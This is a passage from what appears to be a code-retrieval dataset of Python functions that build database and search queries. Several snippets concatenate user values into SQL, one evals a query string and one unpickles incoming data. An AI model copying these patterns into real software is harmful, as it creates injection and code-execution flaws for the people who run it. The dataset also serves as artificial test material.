else:\n if category_name:\n q_object.add(\n Q(category__category_name__icontains=category_name),\n Q.AND)\n\n if o_net_soc_code:\n q_object.add(\n Q(category__o_net_soc_code__icontains=o_net_soc_code),\n Q.AND)\n\n if description:\n q_object.add((\n Q(category__description__icontains=description) |\n Q(\n category__job_title__description__icontains=description)\n ), Q.AND)\n\n if job_title:\n q_object.add(\n Q(category__job_title__title__icontains=job_title),\n Q.AND)\n\n if level:\n if level.isnumeric():\n q_object.add(\n Q(category__job_title__level__icontains=int(level)),\n Q.AND)\n else:\n raise Exception(\n ErrorMessage.WRONG_FIELD_TYPE.value.format(\"level\",\n \"numeric\"))\n\n return q_object","def build_query(self):\r\n # build query from base class add required field for joining with parent\r\n query = super().build_query()\r\n query = query.filter(Metric.metric_id == QuantModelMetric.metric_id)\r\n\r\n # get the remaining query parameters\r\n asset_class = request.args.get('asset_class')\r\n model_name = request.args.get('model_name')\r\n pricing_library = request.args.get('pricing_library')\r\n\r\n # process each parameter and, if valid, add as a query condition\r\n if asset_class is not None:\r\n query = query.filter(QuantModelMetric.asset_class == asset_class)\r\n if model_name is not None:\r\n query = query.filter(QuantModelMetric.model_name == model_name)\r\n if pricing_library is not None:\r\n query = query.filter(QuantModelMetric.pricing_library == pricing_library)\r\n return query","def _create_query_str(data):\n params = []\n for name, value in data.items():\n params.append(name + '=' + str(value))\n\n return '?' + '&'.join(params)","def __call__(self, data):\n return data.eval(self.query)","def generate_json_query(self):\n if not self.properties:\n print(\"ERROR: no properties given to generate JSON query.\")\n raise ValueError\n\n if self.data_type == DataType.ENTRY:\n q_str = \"entry_ids\"\n elif \"entit\" in self.data_type.value:\n if \"instance\" in self.data_type.value:\n q_str = \"instance_ids\"\n else:\n q_str = \"entity_ids\"\n elif self.data_type == DataType.ASSEMBLY:\n q_str = \"assembly_ids\"\n elif self.data_type == DataType.CHEMICAL_COMPONENT:\n q_str = \"comp_ids\"\n\n data_str = f\"{self.data_type.value}({q_str}: [\" + \",\".join(f\"\\\"{w}\\\"\" for w in self.id) + \"])\"\n\n props_string = \"\"\n for key, val in self.properties.items():\n if len(val) == 0:\n props_string += f\"{key},\"\n else:\n props_string += f\"{key} {{\" + \",\".join(val) + \"}\"\n\n self.json_query = {'query': \"{\" + data_str + \"{\" + props_string + \"}}\"}","def execute_query(self, *args, **kwargs):","def query_str(self):\n return \"(seqid == %r) & (start >= %s) & (end <= %s)\" % (self.seqid, self.start, self.end)","def query(self):\n return self.__query","def asSQL(self) -> str:\n # To modify this method, pay attentin to SQL injection.\n # For example, if `self.x` is assumed to be integer\n # but is not guaranteed to be,\n # `:d` must always be specified in format strings:\n # `expressions.append(f\"x > {self.x:d}\")`\n expressions = []\n if self.date_start is not None:\n if self.date_start.tzinfo is None:\n datestr = self.date_start.isoformat()\n else:\n datestr = self.date_start.astimezone(datetime.timezone.utc).replace(tzinfo=None).isoformat()\n expressions.append(f\"pfs_visit.issued_at >= '{datestr}'\")\n if self.date_end is not None:\n if self.date_end.tzinfo is None:\n datestr = self.date_end.isoformat()\n else:\n datestr = self.date_end.astimezone(datetime.timezone.utc).replace(tzinfo=None).isoformat()\n expressions.append(f\"pfs_visit.issued_at < '{datestr}'\")\n if self.visit_start is not None:\n expressions.append(f\"pfs_visit.pfs_visit_id >= '{self.visit_start:d}'\")\n if self.visit_end is not None:\n expressions.append(f\"pfs_visit.pfs_visit_id < '{self.visit_end:d}'\")\n\n if expressions:\n return \"(\" + \" AND \".join(expressions) + \")\"\n else:\n return \"TRUE\"","def get_raw_query(self):\n # create a raw query\n if len(self.criteria) > 1:\n # more than one criteria, create a AND query\n raw_query = {\"$and\": self.criteria}\n else:\n # one criteria, raw query is the criteria\n raw_query = self.criteria[0]\n\n return raw_query","def text(self):\n return self.query.query","def query_object_raw(self, o):\n self.setQuery(\"\"\"\n Select ?s ?p where {\n ?s ?p %s\n } ORDER BY (?s)\"\"\" % (o))\n\n try:\n rval = self.query()\n g = rval.convert()\n return [(x['s'], x['p']) for x in g['results']['bindings']]\n except:\n print \"Select failed\"\n traceback.print_exc(file=sys.stdout)","def build(self) -> str:\n query = \"{Get{\"\n\n for get in self.get_builder:\n query += get.build(wrap_get=False)\n return query + \"}}\"","def get_table_query_string(self) -> str:\n if self.database and self.table:\n return f'\"{self.database}\".\"{self.schema}\".\"{self.table}\"'\n elif self.table:\n return f'\"{self.table}\"'\n else:\n return f\"({self.query})\"","def as_sql(self):\n distinct = 'DISTINCT ' if self._distinct else ''\n final = ' FINAL' if self._final else ''\n table_name = '`%s`' % self._model_cls.table_name()\n if self._model_cls.is_system_model():\n table_name = '`system`.' + table_name\n params = (distinct, self.select_fields_as_sql(), table_name, final)\n sql = u'SELECT %s%s\\nFROM %s%s' % params\n\n if self._prewhere_q and not self._prewhere_q.is_empty:\n sql += '\\nPREWHERE ' + self.conditions_as_sql(prewhere=True)\n\n if self._where_q and not self._where_q.is_empty:\n sql += '\\nWHERE ' + self.conditions_as_sql(prewhere=False)\n\n if self._grouping_fields:\n sql += '\\nGROUP BY %s' % comma_join('`%s`' % field for field in self._grouping_fields)\n\n if self._grouping_with_totals:\n sql += ' WITH TOTALS'\n\n if self._order_by:\n sql += '\\nORDER BY ' + self.order_by_as_sql()\n\n if self._limit_by:\n sql += '\\nLIMIT %d, %d' % self._limit_by\n sql += ' BY %s' % comma_join(string_or_func(field) for field in self._limit_by_fields)\n\n if self._limits:\n sql += '\\nLIMIT %d, %d' % self._limits\n\n return sql","def _assemble(self):\n setexpr = ', '.join(\n f'{name} = %({name})s'\n for name in self._valueskw\n )\n froms = 'from ' + ', '.join(self._tables) if self._tables else ''\n kw = self._kw.copy()\n wheres, wkw = self._build_where()\n kw.update(wkw)\n kw.update(self._valueskw)\n return (\n f'update {self._table} '\n f'set {setexpr} '\n f'{froms} '\n f'{wheres}'\n ), kw","def get_query(self):\n q = db.Query(self.KIND,keys_only=self.KEYS_ONLY)\n for prop, value in self.FILTERS:\n q.filter(\"%s =\" % prop, value)\n if self.ancestor:\n q.ancestor(self.ancestor)\n q.order(self.ORDER_BY)\n return q","def build_query(self):\r\n query = super().build_query()\r\n query = query.filter(Metric.metric_id == MlModelMetric.metric_id)\r\n algorithm = request.args.get('algorithm')\r\n if algorithm is not None:\r\n query = query.filter(MlModelMetric.algorithm == algorithm)\r\n return query","def where(self, value, operator=\"\"):\n return f\"\"\"\nto_tsvector('english', json->>'{sqlq(self.name)}') @@ plainto_tsquery(${{arg}}::text)\"\"\"","def sql(self, method: str = 'select') -> str:","def build_query_clauses(\n where: str = \"\", order: str = \"\", limit: int = 0, offset: int = 0\n ) -> str:\n return SqliteQueryBuilder.build_query_clauses(where, order, limit, offset)","def determine_query():\n return query if query is not None \\\n else f\"SELECT * FROM '{table}';\"","def sql_query(self):\n return self._project.sql_query","def _gen_cat_query(self,query_fields=None):\n if query_fields is None:\n object_id_fields = ['decals_id','brick_primary','brickid','ra','dec','gaia_pointsource']\n mag_fields = ['mag_g','mag_r','mag_z','mag_w1','mag_w2','mag_w3','mag_w4']\n snr_fields = ['snr_g','snr_r','snr_z','snr_w1','snr_w2','snr_w3','snr_w4']\n query_fields = object_id_fields+mag_fields+snr_fields\n \n database = \"ls_dr7.tractor\"\n self.query = dlsurvey._default_query_str(query_fields, database, self.coord, self.radius)","def build_query(self):\n query = self.action.build_query()\n if self.sandboxoption != None:\n query['Sandbox'] = self.sandboxoption\n else:\n query['Sandbox'] = '0'\n return query","def gen_q_stmt(name, query):\n return \"query {} `{}`;\\n\".format(name, query)","def get_queryset(self, model, query_str):\n query_str = 'model.objects.' + query_str.lstrip('.')\n return eval(query_str, dict(model=model))","def getQuery(self, context, obj):\n return TestModel.all()","def to_sql(self):\n\n if not self._action:\n self.set_action(\"select\")\n for scope in self._global_scopes.get(self.owner, {}).get(self._action, []):\n if not scope:\n continue\n\n scope(self.owner, self)\n\n grammar = self.get_grammar()\n sql = grammar.compile(self._action).to_sql()\n self.boot()\n return sql","def build_query(db, request, tags):\n inner_query, clauses = build_inner_query(request, tags)\n if len(tags) and tags[-1][0] == 'uuid':\n # if we select uuid as the trailing tag we have to be special\n query = \"\"\"\nSELECT DISTINCT s.uuid \nFROM stream AS s\nWHERE s.id IN \"\"\" + inner_query\n elif len(tags) and (tags[-1][1] == None or tags[-1][1] == ''):\n # odd-numbered clasues, so we print matching values of tags\n t = escape_string(tags[-1][0])\n query = \"\"\"\nSELECT DISTINCT metadata -> %s AS svals FROM stream\nWHERE id IN %s AND metadata ? %s\nORDER BY svals ASC\"\"\" % (t, inner_query, t)\n else:\n # otherwise we print all tags matching the restriction\n query = \"\"\"\nSELECT DISTINCT skeys\nFROM (\n SELECT skeys(metadata) FROM stream\n WHERE id IN %s\n) AS skeys ORDER BY skeys ASC\"\"\" % inner_query\n\n log.msg(query)\n d = db.runQuery(query)\n d.addCallback(log_time, time.time())\n return d","def query(cls, **kwds):\n #NOTE: Only static properties can be indexed by homer, \n # so we don't worry about querying for dynamic properties\n query = \"\"\n started = False\n for name in kwds:\n if not started:\n pattern = \"%s=:%s\" % (name, name)\n query += pattern\n started = True\n else:\n pattern = \" AND %s=:%s\" % (name, name)\n query += pattern\n\n q = 'SELECT * FROM %s WHERE %s' % (cls.kind(), query)\n query = CqlQuery(cls, q, **kwds)\n query.convert = True\n return query","def query(mdx_stmt):","def query(self, value):\n \n self._query = str(value) if value else None","def where(self, value, operator=\">\"):\n assert operator in self.operators\n return f\"\"\"\nf_cast_isots(json->>'{sqlq(self.name)}') {sqlq(operator)} ${{arg}}::{sqlq(self.cast_type)}\"\"\"","def make_complex_query_set(self):\n\n query = self.request.GET.get(\"q\")\n category = self.request.GET.get(\"category\")\n title = self.request.GET.get(\"title\")\n\n q_object = Q()\n\n if query:\n q_object.add((\n Q(category__category_name__icontains=query) |\n Q(title__icontains=query) \n ), Q.OR)\n\n else:\n if category:\n q_object.add(\n Q(category=category),\n Q.AND)\n if title:\n q_object.add(\n Q(title__icontains=title),\n Q.AND)\n\n return q_object","def query(self):\n return Query(from_=self)","def _format_queries(self, body):\n for query in body:\n if \"bindVars\" in query:\n query[\"bind_vars\"] = query.pop(\"bindVars\")\n if \"runTime\" in query:\n query[\"runtime\"] = query.pop(\"runTime\")\n return body","def _make_query_result(self, cr , uid, data, context=None):\n search_criterea = ''\n #Date Wise Bifurcation\n if data.type == 'date':\n start = data.start_date\n end = data.end_date\n if start and end:\n start = self.date_to_datetime(cr, uid, start + ' 00:00:00', context=context)\n end = self.date_to_datetime(cr, uid, end + ' 23:59:59', context=context)\n search_criterea += \" AND mp.date_planned > '\" + str(start) + \"' AND mp.date_finished < '\" + str(end) + \"' \"\n elif start:\n start = self.date_to_datetime(cr, uid, start + ' 00:00:00', context=context)\n search_criterea += \" AND mp.date_planned > '\" + str(start) + \"' \"\n elif end:\n end = self.date_to_datetime(cr, uid, end + ' 23:59:59', context=context)\n search_criterea += \" AND mp.date_finished < '\" + str(end) + \"' \"\n else:\n #Number Wise Bifurcation\n number_from = data.number_from\n number_to = data.number_to\n if number_from <= 0 or number_to <= 0:\n raise osv.except_osv(_('Warning!'), _('Negative or Zero number not allow to pass!'))\n if number_from > 0 and number_to > 0:\n if number_from > number_to:\n raise osv.except_osv(_('Warning!'), _('Please correct the number place.\\nNumber To must be greater then Number From.'))\n count, comma = 0, True\n if number_from == number_to:\n comma = False\n for r in range(number_from, number_to + 1):\n count += 1\n if count == 1: search_criterea += \" AND mp.name SIMILAR TO '%(\"\n search_criterea += str(r)\n if comma and (r <> number_to): search_criterea += '|'\n if r == number_to: search_criterea += \")%'\"\n #State Wise Bifurcation\n if data.draft or data.in_production or data.ready or data.done or data.cancel or data.confirmed or data.picking_except:\n if not search_criterea: search_criterea += ' AND mp.state in ('\n else:\n search_criterea += ' AND mp.state in ('\n j_s = ''\n if data.draft: j_s += \"'draft',\"\n if data.in_production: j_s += \"'in_production',\"\n if data.ready: j_s += \"'ready',\"\n if data.done: j_s += \"'done',\"\n if data.cancel: j_s += \"'cancel',\"\n if data.confirmed: j_s += \"'confirmed',\"\n if data.picking_except: j_s += \"'picking_except',\"\n search_criterea += j_s[:-1]+')'\n if search_criterea: search_criterea = ' WHERE mpwl.production_id = mp.id ' + search_criterea\n #Merged this query criterea for execution\n cr.execute(\"\"\" SELECT mpwl.id FROM mrp_production mp, mrp_production_workcenter_line mpwl \"\"\"+ search_criterea)\n return [r[0] for r in cr.fetchall()]","def as_sql(self, qn, connection):\n lhs, lhs_params = self.process_lhs(qn, connection)\n rhs, rhs_params = self.process_rhs(qn, connection)\n\n field = lhs\n # JSONField formats query values for the database by wrapping them psycopg2's\n # JsonAdapter, but we need the raw Python dict so that we can parse the\n # query tree. Intercept the query parameter (it'll always be the first\n # element in the parameter list, since the custom jsonb filter only accepts one argument)\n # and revert it back to a Python dict for tree parsing.\n tree = rhs_params[0].adapted\n\n return FilterTree(tree, field).sql()","def query(self, paramstyle=None):\n s = []\n for x in self.items:\n if isinstance(x, SQLParam):\n x = x.get_marker(paramstyle)\n s.append(safestr(x))\n else:\n x = safestr(x)\n # automatically escape % characters in the query\n # For backward compatability, ignore escaping when the query looks already escaped\n if paramstyle in ['format', 'pyformat']:\n if '%' in x and '%%' not in x:\n x = x.replace('%', '%%')\n s.append(x)\n return \"\".join(s)","def get_resource_query(self):\n pass","def get_resource_query(self):\n pass","def _get_queries(args):\n if args.mode == '2DSEQ':\n queries = [\"@type=='2dseq'\", \"@is_spectroscopy==True\", \"@is_complex==True\"]\n elif args.mode == 'FID':\n queries = [\"@type=='fid'\", \"@is_spectroscopy==True\"]\n return queries + args.query","def filter(self, **kwargs):\n kwargs['query'] += ' FROM {0}'\n return kwargs","def _generate_query_string(self):\n \n query_items = {}\n \n for key, val in self.__dict__.iteritems():\n if not key.startswith('_'):\n query_items[key] = val.encode('utf-8')\n \n return urllib.urlencode(query_items)","def __repr__(self):\n return \"%s[%s]\" % (self.index_type, self.query)","def where(self, value, operator=\">\"):\n assert operator in self.operators\n return f\"\"\"\nCAST(json->>'{sqlq(self.name)}' AS {sqlq(self.cast_type)}) {sqlq(operator)} ${{arg}}::{sqlq(self.cast_type)}\"\"\" # noqa","def _assemble(self):\n assert self._kw, \"Call values() first\"\n names = ','.join(list(self._kw))\n holders = ','.join(f'%({name})s' for name in self._kw)\n return (\n f'insert into {self._table} '\n f'({names}) values ({holders}) '\n f'returning {self._returning}'\n ), self._kw.copy()","def pp_query(query):\n print(format_query(query))","def query(self):\n return self._query","def query(self):\n return self._query","def query(self):\n return self._query","def request(query):","def _create_query_string(self, query):\n # Check for a result type, if none found, set it to default.\n result_type = query.result_type\n if not result_type:\n result_type = self.default_result_type\n\n # Check to if the result type is valid\n if result_type not in RESULT_TYPES:\n raise QueryParamException(self.name, \"Engine doesn't support query result type '{0}'\"\n .format(query.result_type))\n\n search_params = {'result_type': result_type,\n 'q': query.terms}\n\n query_append = \"search?q={}&type={}&access_token={}\".format\\\n (search_params['q'], search_params['result_type'], self.api_key)\n\n return API_ENDPOINT + encode_symbols(query_append)","def query(self):\n q = dict(self._query)\n fworker_check = [{\"spec._fworker\": {\"$exists\": False}}, {\"spec._fworker\": None}, {\"spec._fworker\": self.name}]\n if \"$or\" in q:\n q[\"$and\"] = q.get(\"$and\", [])\n q[\"$and\"].extend([{\"$or\": q.pop(\"$or\")}, {\"$or\": fworker_check}])\n else:\n q[\"$or\"] = fworker_check\n if self.category and isinstance(self.category, str):\n if self.category == \"__none__\":\n q[\"spec._category\"] = {\"$exists\": False}\n else:\n q[\"spec._category\"] = self.category\n elif self.category: # category is list of str\n q[\"spec._category\"] = {\"$in\": self.category}\n\n return q","def __str__(self):\n if self.__checkForEmptyQuery():\n raise EmptyQueryException\n\n # What fields are needed?\n authors = (len(self.queries[\"au\"]) > 0)\n titlesOrAbstracts = ((len(self.queries[\"ti\"]) > 0)\n or (len(self.queries[\"abs\"]) > 0))\n titlesAndAbstracts = ((len(self.queries[\"ti\"]) > 0)\n and (len(self.queries[\"abs\"]) > 0))\n categories = (len(self.categories) > 0)\n\n url = self.baseUrl + self.searchPrefix + self.blockStart\n # Start with authors\n if authors:\n url += self.blockStart + self.__produceBlock(\"au\") + self.blockEnd\n if titlesOrAbstracts:\n url += self.connectorStrings[self.connector]\n\n # Now do title/abstract queries\n if titlesOrAbstracts:\n url += self.blockStart\n url += self.__produceBlock(\"ti\")\n if titlesAndAbstracts:\n url += self.connectorStrings[\"or\"]\n url += self.__produceBlock(\"abs\") + self.blockEnd\n if titlesOrAbstracts:\n url += self.blockEnd\n\n # Lastly, do the categories\n if categories:\n url += (self.connectorStrings[\"and\"] + self.blockStart\n + self.__produceBlock(\"cat\", self.categories)\n + self.blockEnd)\n url += (r\"&sortBy=lastUpdatedDate&start={0:d}&max_results={1:d}\"\n .format(self.start, self.N))\n return url","def showGqlQuery(query):\n proto = query._proto_query\n kind = query._model_class.kind()\n filters = proto.filters()\n boundfilters = proto._GQL__bound_filters\n orderings = proto.orderings()\n hint = proto.hint()\n limit = proto.limit()\n offset = proto._GQL__offset\n\n select = \"SELECT * FROM %s\" % kind\n where = []\n order = []\n\n for k in sorted(filters):\n for clause in filters[k]:\n name, op = clause\n if name==-1: name = 'ANCESTOR'\n where.append(\"%s %s :%s\" % (name, op.upper(), k))\n\n for k in sorted(boundfilters):\n if isinstance(k, tuple):\n op = ' '.join(k)\n else:\n op = k\n where.append(\"%s %r\" % (op, boundfilters[k]))\n\n for p, o in orderings:\n order.append(\"%s %s\" % (p, 'DESC' if o==datastore.Query.DESCENDING else 'ASC'))\n\n gql = select\n if where:\n gql += ' WHERE '+' AND '.join(where)\n if order:\n gql += ' ORDER BY ' + ', '.join(order)\n if limit != -1:\n if offset != -1:\n gql += ' LIMIT %s,%s' % (offset,limit)\n else:\n gql += ' LIMIT %s' % limit\n elif offset != -1:\n gql += ' OFFSET %s' % offset\n return gql","def build_query(devices, filter_inter, interactions_further=None):\n\n id_2_found = CsvFormat.other_id.value\n if interactions_further is not None:\n id_2_found = CsvFormat.my_id.value\n\n query = 'SELECT i._{} as id, CAST(i._{} as int) as timestamp_start, CAST(i._{} as float) as interval_time ' \\\n 'FROM S3Object i WHERE CAST(i._{} as float) >= {}'.format(\n id_2_found,\n CsvFormat.timestamp_start.value,\n CsvFormat.interval.value,\n CsvFormat.interval.value,\n MINIMUM_INTERVAL_TIME)\n\n if 'distance' in filter_inter:\n if 'max' in filter_inter['distance']:\n query += ' and CAST(i._{} as float) <= {}'.format(CsvFormat.distance_type.value,\n filter_inter['distance']['max'])\n if 'min' in filter_inter['distance']:\n query += ' and CAST(i._{} as float) >= {}'.format(CsvFormat.distance_type.value,\n filter_inter['distance']['min'])\n\n if interactions_further is not None:\n condos = []\n for inter in interactions_further:\n orcond = '(i._{}=\\'{}\\' and (CAST(i._{} as float) between {} and {} or CAST(i._{} as float) between {} and {}))'\\\n .format(CsvFormat.other_id.value,\n inter['id'],\n CsvFormat.timestamp_start.value,\n inter['timestamp_start'],\n int(inter['timestamp_start'] + inter['interval_time']),\n CsvFormat.timestamp_end.value,\n inter['timestamp_start'],\n int(inter['timestamp_start'] + inter['interval_time'])\n )\n condos.append(orcond)\n if len(condos) > 0:\n query += ' and ' + ' or '.join(condos)\n else:\n query += ' and i._{} in (\\'{}\\')'.format(\n CsvFormat.my_id.value,\n '\\',\\''.join([str(x) for x in devices])\n )\n\n return query","def build(self, query_str):\r\n try:\r\n parsed = self.parser.parseString(query_str)\r\n except ParseException,e:\r\n raise QueryException(e)\r\n\r\n source = self.__get_source(parsed)\r\n tree = self.__get_tree(parsed)\r\n handler = self.__get_handler(parsed)\r\n query = Query(tree, source, handler)\r\n return query","def query(self):\n \n return self._query","def query(self, query, request_type=None):\n\n #encode to UTF-8\n try: query = query.encode(\"utf-8\")\n except: query = query.decode('raw_unicode_escape').encode(\"utf-8\")\n\n lowercase_query = query.lower()\n if lowercase_query.startswith(\"select\") or \\\n lowercase_query.startswith(\"describe\") or \\\n lowercase_query.startswith(\"show\") or \\\n request_type==\"GET\":\n\n return self._get(urllib.urlencode({'sql': query}))\n\n else:\n return self._post(urllib.urlencode({'sql': query}))","def build_query_structure(self):\n query_list = list()\n filter_list = list()\n for key, val in self.q_dict.items():\n if key in self.es_query_keys:\n query_list.append(\n {\"match\": {\".\".join(key.split(\"_\")): val[0]}})\n elif key in self.es_date_keys:\n filter_list.append(\n {\"range\": {\".\".join(key.split(\"_\")): val}})\n elif \":\" in val[0]:\n #for handling queries like dd_dct=gte:1\n range_val = val[0].split(\":\")\n filter_list.append({\"range\": {\".\".join(key.split(\"_\")): {\n range_val[0]: int(range_val[1])}}})\n else:\n filter_list.append(\n {\"terms\": {\".\".join(key.split(\"_\")): val}})\n return query_list, filter_list","def _query(self, with_clause='', fields={}, groupby='', from_clause=''):\n fields['woo_instance_id'] = \", s.woo_instance_id as woo_instance_id\"\n groupby += ', s.woo_instance_id'\n return super(SaleReport, self)._query(with_clause, fields, groupby, from_clause)","def sql_dict_to_str(self, result, tables):\n table = tables[result['sql']['from'][0]]\n header_names = table['header_name'] + ['空列']\n header_ids = table['header_id'] + ['null']\n sql = result['sql']\n\n str_cond_list, sql_cond_list = [], []\n where_conds, orderby_conds = [], []\n for cond in sql['conds']:\n if cond[1] in [4, 5]:\n orderby_conds.append(cond)\n else:\n where_conds.append(cond)\n for cond in where_conds:\n header_name = header_names[cond[0]]\n if header_name == '空列':\n continue\n header_id = '`%s`.`%s`' % (table['table_id'], header_ids[cond[0]])\n op = self.cond_ops[cond[1]]\n value = cond[2]\n str_cond_list.append('( ' + header_name + ' ' + op + ' \"' + value\n + '\" )')\n sql_cond_list.append('( ' + header_id + ' ' + op + ' \"' + value\n + '\" )')\n cond_str = ' ' + self.cond_conn_ops[sql['cond_conn_op']] + ' '\n str_where_conds = cond_str.join(str_cond_list)\n sql_where_conds = cond_str.join(sql_cond_list)\n if len(orderby_conds) != 0:\n str_orderby_column = ', '.join(\n [header_names[cond[0]] for cond in orderby_conds])\n sql_orderby_column = ', '.join([\n '`%s`.`%s`' % (table['table_id'], header_ids[cond[0]])\n for cond in orderby_conds\n ])\n str_orderby_op = self.cond_ops[orderby_conds[0][1]]\n str_orderby = '%s %s' % (str_orderby_column, str_orderby_op)\n sql_orderby = '%s %s' % (sql_orderby_column, str_orderby_op)\n limit_key = orderby_conds[0][2]\n is_in, limit_num = False, -1\n for key in self.limit_dict:\n if key in limit_key:\n is_in = True\n limit_num = self.limit_dict[key]\n break\n if is_in:\n str_orderby += ' LIMIT %d' % (limit_num)\n sql_orderby += ' LIMIT %d' % (limit_num)\n # post process null column\n for idx, sel in enumerate(sql['sel']):\n if sel == len(header_ids) - 1:\n primary_sel = 0\n for index, attrib in enumerate(table['header_attribute']):\n if attrib == 'PRIMARY':\n primary_sel = index\n break\n if primary_sel not in sql['sel']:\n sql['sel'][idx] = primary_sel\n else:\n del sql['sel'][idx]\n else:\n str_orderby = ''\n\n str_sel_list, sql_sel_list = [], []\n for idx, sel in enumerate(sql['sel']):\n header_name = header_names[sel]\n header_id = '`%s`.`%s`' % (table['table_id'], header_ids[sel])\n if sql['agg'][idx] == 0:\n str_sel_list.append(header_name)\n sql_sel_list.append(header_id)\n else:\n str_sel_list.append(self.agg_ops[sql['agg'][idx]] + '('\n + header_name + ')')\n sql_sel_list.append(self.agg_ops[sql['agg'][idx]] + '('\n + header_id + ')')\n\n if len(str_cond_list) != 0 and len(str_orderby) != 0:\n final_str = 'SELECT %s FROM %s WHERE %s ORDER BY %s' % (\n ', '.join(str_sel_list), table['table_name'], str_where_conds,\n str_orderby)\n final_sql = 'SELECT %s FROM `%s` WHERE %s ORDER BY %s' % (\n ', '.join(sql_sel_list), table['table_id'], sql_where_conds,\n sql_orderby)\n elif len(str_cond_list) != 0:\n final_str = 'SELECT %s FROM %s WHERE %s' % (\n ', '.join(str_sel_list), table['table_name'], str_where_conds)\n final_sql = 'SELECT %s FROM `%s` WHERE %s' % (\n ', '.join(sql_sel_list), table['table_id'], sql_where_conds)\n elif len(str_orderby) != 0:\n final_str = 'SELECT %s FROM %s ORDER BY %s' % (\n ', '.join(str_sel_list), table['table_name'], str_orderby)\n final_sql = 'SELECT %s FROM `%s` ORDER BY %s' % (\n ', '.join(sql_sel_list), table['table_id'], sql_orderby)\n else:\n final_str = 'SELECT %s FROM %s' % (', '.join(str_sel_list),\n table['table_name'])\n final_sql = 'SELECT %s FROM `%s`' % (', '.join(sql_sel_list),\n table['table_id'])\n\n sql = SQLQuery(\n string=final_str, query=final_sql, sql_result=result['sql'])\n\n return sql","def __str__(self):\n \n return \"#%s %s %s [%s]\" % (self.dbid, self.title, self.query, self.group)","def print_query(query: Query) -> str:\n regex = re.compile(r\":(?P<name>\\w+)\")\n params = query.statement.compile().params\n sql = regex.sub(r\"'{\\g<name>}'\", str(query.statement)).format(**params)\n from flexmeasures.data.config import db\n\n print(f\"\\nPrinting SQLAlchemy query to database {db.engine.url.database}:\\n\\n\")\n print(sql)\n return sql","def query(self,query):\n if self.data is not None:\n qData = cPickle.loads(query)\n results = self.handleQuery(qData)\n qResults = cPickle.dumps(results)\n else:\n results = None\n qResults = cPickle.dumps(results)\n return qResults","def query(self, search, query):\n if query:\n return search.query(\n \"simple_query_string\",\n query=query,\n fields=self.fields,\n default_operator='and',\n lenient=True\n )\n return search","def build_query_part(self, input_data, table_fields_types, query_part):\n\n\t\tresult_query = '('\t\t\n\n\t\tfor index in xrange(len(input_data)):\n\n\t\t\tif query_part == 1:\n\t\t\t\tproper_value = '\"' + input_data[index] + '\"'\n\t\t\t\t\n\t\t\tif query_part == 2:\n\t\t\t\tif \"nextval\" not in input_data[index]:\n\t\t\t\t\tproper_value = self.escapeinput_data_for_sql(input_data[index], table_fields_types[index])\n\t\t\t\telse:\n\t\t\t\t\tproper_value = input_data[index]\n\n\t\t\t\t\n\t\t\tresult_query = result_query + proper_value + ','\n\n\t\t# if query_part == 2:\n\t\t# \tresult_query = result_query + '\\'\\'' + ','\n\n\t\tresult_query = result_query[:len(result_query)-1]\n\t\tresult_query = result_query + ')'\n\n\t\treturn result_query"],"string":"[\n \"def make_query(self):\",\n \"def generate_query(self):\\n return\",\n \"def query(self, query):\",\n \"def _build_query(self, **query):\\n\\n available_fields = list(self.model._available_fields.keys())\\n\\n q_str = ''\\n for key, val in list(query.items()):\\n # Get the field and the operator from the query\\n key_field, key_sep, key_oper = key.partition('__')\\n\\n if key_field == 'pk' and 'id' not in query:\\n key_field = 'id'\\n\\n if key_field in available_fields:\\n if q_str != '':\\n q_str += ' AND '\\n\\n if_cstm = ''\\n if key_field.endswith('_c'):\\n if_cstm = '_cstm'\\n\\n field = self.model._table + if_cstm + '.' + key_field\\n\\n if key_oper in ('exact', 'eq') or (not key_oper and not key_sep):\\n q_str += '%s = \\\"%s\\\"' % (field, val)\\n elif key_oper == 'contains':\\n q_str += '%s LIKE \\\"%%%s%%\\\"' % (field, val)\\n elif key_oper == 'startswith':\\n q_str += '%s LIKE \\\"%s%%\\\"' % (field, val)\\n elif key_oper == 'in':\\n q_str += '%s IN (' % field\\n for elem in val:\\n q_str += \\\"'%s',\\\" % elem\\n q_str = q_str.rstrip(',')\\n q_str += ')'\\n elif key_oper == 'gt':\\n q_str += '%s > \\\"%s\\\"' % (field, val)\\n elif key_oper == 'gte':\\n q_str += '%s >= \\\"%s\\\"' % (field, val)\\n elif key_oper == 'lt':\\n q_str += '%s < \\\"%s\\\"' % (field, val)\\n elif key_oper == 'lte':\\n q_str += '%s <= \\\"%s\\\"' % (field, val)\\n else:\\n raise LookupError('Unsupported operator')\\n\\n return q_str\",\n \"def _make_query(self):\\r\\n raise NotImplementedError()\",\n \"def _assemble(self):\\n selectop = self._headopt and f'{self._headopt}' or ''\\n select = f'{selectop} ' + ', '.join(self._head)\\n froms = 'from ' + ', '.join(self._tables)\\n joins = ' '.join(self._joins)\\n wheres, wkw = self._build_where()\\n\\n order = ''\\n if self._order:\\n order = f'order by {self._order[0]} {self._order[1]}'\\n limit = ''\\n if self._limit:\\n limit = f'limit {self._limit}'\\n\\n kw = self._kw.copy()\\n kw.update(wkw)\\n return (f'select {select} '\\n f'{froms} '\\n f'{joins} '\\n f'{wheres} '\\n f'{order} '\\n f'{limit}'\\n ), kw\",\n \"def query(self):\",\n \"def build(self):\\n return self._sql.strip()\",\n \"def make_complex_query_set(self):\\n\\n query = self.request.GET.get(\\\"q\\\")\\n program_id = self.request.META.get('HTTP_X_SVMS_PROGRAM_ID')\\n category = self.request.GET.get(\\\"category\\\")\\n title = self.request.GET.get(\\\"title\\\")\\n level = self.request.GET.get(\\\"level\\\")\\n description = self.request.GET.get(\\\"description\\\")\\n status = self.request.GET.get(\\\"status\\\")\\n job_tag = self.request.GET.get(\\\"job_tag\\\")\\n\\n q_object = Q()\\n\\n if query:\\n q_object.add((\\n Q(program_id=query) |\\n Q(category=query) |\\n Q(title__icontains=query) |\\n #Q(category__category_name__icontains=query) |\\n Q(description__icontains=query) |\\n Q(job_tag__tag__in=str(query).split(\\\",\\\"))\\n ), Q.OR)\\n\\n if query.isnumeric():\\n q_object.add(\\n Q(level__icontains=int(query)), Q.OR)\\n\\n q_object.add(Q(status=strtobool(query)), Q.OR) if query in [\\n \\\"true\\\", \\\"True\\\", \\\"False\\\", \\\"false\\\"] else None\\n\\n else:\\n if program_id:\\n q_object.add(\\n Q(program_id=program_id),\\n Q.AND)\\n\\n if category:\\n q_object.add(\\n Q(category=category),\\n Q.AND)\\n if title:\\n q_object.add(\\n Q(title__icontains=title),\\n Q.AND)\\n\\n if description:\\n q_object.add(\\n Q(description__icontains=description), Q.AND)\\n\\n if job_tag:\\n q_object.add(\\n 